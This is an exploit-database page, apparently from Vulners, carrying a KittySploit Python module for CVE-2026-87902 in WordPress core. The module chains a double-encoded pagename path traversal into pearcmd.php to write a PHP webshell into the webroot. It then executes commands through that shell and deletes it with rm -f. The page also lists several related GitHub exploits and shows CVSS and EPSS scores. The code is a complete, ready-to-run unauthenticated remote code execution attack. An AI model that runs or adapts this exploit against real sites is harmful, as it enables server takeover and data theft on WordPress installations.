Lucene search
+L

WordPress Core CVE-2026-87902 Page Template LFI/RCE

🗓️ 29 Sep 2026 10:07:34Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Unauthenticated RCE in WordPress Core via pagename traversal and pearcmd.php.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-87902
25 Sep 202601:06
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-87902
23 Sep 202602:44
–githubexploit
githubexploit
GithubExploit
Exploit for PHP Remote File Inclusion in Wordpress
28 Sep 202617:11
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-87902
25 Sep 202600:56
–githubexploit
githubexploit
GithubExploit
ProofCMS-
29 Sep 202616:18
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-87902
22 Sep 202618:13
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-87902
22 Sep 202618:40
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-87902
23 Sep 202611:03
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-87902
24 Sep 202614:02
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-87902
23 Sep 202611:54
–githubexploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress Core CVE-2026-87902 pagename traversal to conditional RCE via pearcmd."""

from __future__ import annotations

import re
import secrets
from typing import Optional
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.wordpress import Wordpress


class Module(Exploit, Http_client, Wordpress):
    __info__ = {
        "name": "WordPress Core CVE-2026-87902 Page Template LFI/RCE",
        "description": (
            "Exploits CVE-2026-87902 when the active theme contains a page-* directory "
            "and pearcmd.php is readable with register_argc_argv enabled. Stage 1 uses "
            "double-encoded pagename traversal to include pearcmd and write a webroot "
            "marker; stage 2 executes verify_cmd through the dropped PHP file."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2026-87902"],
        "platform": Platform.PHP,
        "arch": [Arch.PHP, Arch.CMD],
        "payload": {
            "default": "nopayload",
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-87902",
            "https://wordpress.org/news/2026/09/wordpress-7-1-2-security-release/",
        ],
        "tags": [
            "wordpress",
            "wp-core",
            "path-traversal",
            "lfi",
            "pearcmd",
            "unauthenticated",
            "rce",
            "cve-2026-87902",
        ],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 5,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals", "rce"],
            "requires": {
                "tech_hints_any": ["wordpress"],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "pearcmd config-create chain"},
                ],
                "suggested_followups": [
                    "scanner/http/wordpress_cve_2026_87902_detect",
                ],
            },
        },
    }

    page_id = OptInteger(0, "Existing WordPress page ID (0 = auto-discover)", False)
    pearcmd_path = OptString(
        "/usr/local/lib/php/pearcmd.php",
        "Local pearcmd.php path on target",
        False,
    )
    shell_name = OptString("", "Webshell filename in webroot (random if empty)", False, advanced=True)
    verify_cmd = OptString("id", "Command executed through the dropped PHP shell", False)
    cleanup = OptBool(True, "Attempt to delete the dropped webshell after verification", False, advanced=True)

    _PAGE_ID_RE = re.compile(r"(?:\?|&)(?:page_id|p)=(\d+)")

    def _wp_base(self) -> str:
        return self.wp_normalize_base_path(getattr(self, "path", "/"))

    def _discover_page_id(self) -> int:
        if int(self.page_id or 0) > 0:
            return int(self.page_id)
        response = self.http_request(method="GET", path=f"{self._wp_base()}/", allow_redirects=True)
        body = (response.text or "") if response else ""
        match = self._PAGE_ID_RE.search(body)
        return int(match.group(1)) if match else 1

    def _pagename_param(self) -> str:
        pear = str(self.pearcmd_path or "/usr/local/lib/php/pearcmd.php").lstrip("/")
        if pear.endswith(".php"):
            pear = pear[:-4]
        inner = f"templates/../../{pear}"
        return quote(quote(inner, safe=""), safe="")

    def _write_shell(self, page: int, shell: str) -> bool:
        webroot_shell = f"/var/www/html/{shell.lstrip('/')}"
        pagename = self._pagename_param()
        argv = quote(f"+config-create+/+{webroot_shell}", safe="")
        path = f"{self._wp_base()}/?page_id={page}&pagename={pagename}&{argv}"
        response = self.http_request(method="GET", path=path, allow_redirects=True)
        return bool(response and int(response.status_code or 0) in (200, 500))

    def _exec_shell(self, shell: str, command: str) -> Optional[str]:
        marker = secrets.token_hex(4)
        path = f"{self._wp_base()}/{shell.lstrip('/')}?{marker}={quote(command)}"
        response = self.http_request(method="GET", path=path, allow_redirects=True)
        if not response or int(response.status_code or 0) != 200:
            return None
        return response.text or ""

    def run(self):
        page = self._discover_page_id()
        shell = str(self.shell_name or "").strip() or f".kitty-{secrets.token_hex(4)}.php"
        command = str(self.verify_cmd or "id").strip()

        if not self._write_shell(page, shell):
            print_error("Pearcmd include / config-create stage did not complete")
            return False

        output = self._exec_shell(shell, command)
        if output and ("uid=" in output or command in output):
            self.set_info(
                severity="critical",
                reason="WordPress CVE-2026-87902 pearcmd chain executed",
                shell=shell,
                page_id=page,
                output=output[:500],
            )
            if bool(self.cleanup):
                self._exec_shell(shell, f"rm -f /var/www/html/{shell.lstrip('/')}")
            return True

        print_error("Webshell execution did not return expected command output")
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Sep 2026 10:07Current
8.1High risk
Vulners AI Score8.1
CVSS 3.18.1
EPSS0.39979
SSVC
2